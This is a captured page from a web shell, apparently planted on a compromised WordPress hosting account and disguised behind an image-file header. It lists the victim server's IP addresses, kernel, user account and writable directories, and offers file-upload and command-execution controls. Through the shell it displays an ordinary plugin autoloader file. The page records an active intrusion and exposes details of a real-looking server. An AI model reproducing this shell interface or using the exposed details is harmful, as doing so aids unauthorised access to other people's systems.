????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.80.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/pontiacques.org/wp-content/plugins/google-calendar-events/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/pontiacques.org/wp-content/plugins/google-calendar-events/includes/autoload.php
<?php
/**
 * Autoloader
 *
 * @package SimpleCalendar
 */

if (!defined('ABSPATH')) {
	exit();
}

if (!function_exists('SimpleCalendar_Autoload')) {
	/**
	 * Plugin autoloader.
	 *
	 * Pattern (with or without <Subnamespace>):
	 *  <Namespace>/<Subnamespace>.../Class_Name (or Classname)
	 *  'includes/subdir.../class-name.php' or '...classname.php'
	 *
	 * @since 3.0.0
	 *
	 * @param $class
	 */
	function SimpleCalendar_Autoload($class)
	{
		// Do not load unless in plugin domain.
		$namespace = 'SimpleCalendar';
		if (strpos($class, $namespace) !== 0) {
			return;
		}

		// Converts Class_Name (class convention) to class-name (file convention).
		$class_name = implode('-', array_map('lcfirst', explode('_', strtolower($class))));

		// Remove the root namespace.
		$unprefixed = substr($class_name, strlen($namespace));

		// Build the file path.
		$file_path = str_replace('\\', DIRECTORY_SEPARATOR, $unprefixed);
		$file = dirname(__FILE__) . '/' . $file_path . '.php';

		if (file_exists($file)) {
			require $file;
		}
	}

	// Register the autoloader.
	spl_autoload_register('SimpleCalendar_Autoload');
}

Youez - 2016 - github.com/yon3zu
LinuXploit